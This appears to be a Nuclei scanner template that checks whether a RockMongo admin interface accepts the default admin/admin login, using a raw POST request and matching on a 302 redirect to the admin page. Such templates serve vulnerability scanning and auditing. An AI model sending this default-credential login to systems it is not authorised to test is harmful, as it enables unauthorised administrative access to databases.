id: rockmongo-default-login

info:
  name: Rockmongo Default Login
  author: pikpikcu
  severity: high
  description: Rockmongo default admin credentials were discovered.
  reference:
    - https://serverfault.com/questions/331315/how-to-change-the-default-admin-username-and-admin-password-in-rockmongo
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    max-request: 1
  tags: rockmongo,default-login

http:
  - raw:
      - |
        POST /index.php?action=login.index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{Hostname}}/index.php?action=login.index

        more=0&host=0&username={{username}}&password={{password}}&db=&lang=en_us&expire=3

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Location: /index.php?action=admin.index&host=0"
          - "Set-Cookie: ROCK_LANG="
        part: header

      - type: status
        status:
          - 302

# digest: 4a0a00473045022100e38c9a57e4d88c9f038c701b6560797dad2f92de005ed2a726f7bc07660b27dd022064431cf3bab0caefb9392df1787aa92f28050b578b72c0863fab2aa1b37dc25b:922c64590222798bb761d5b6d8e72950
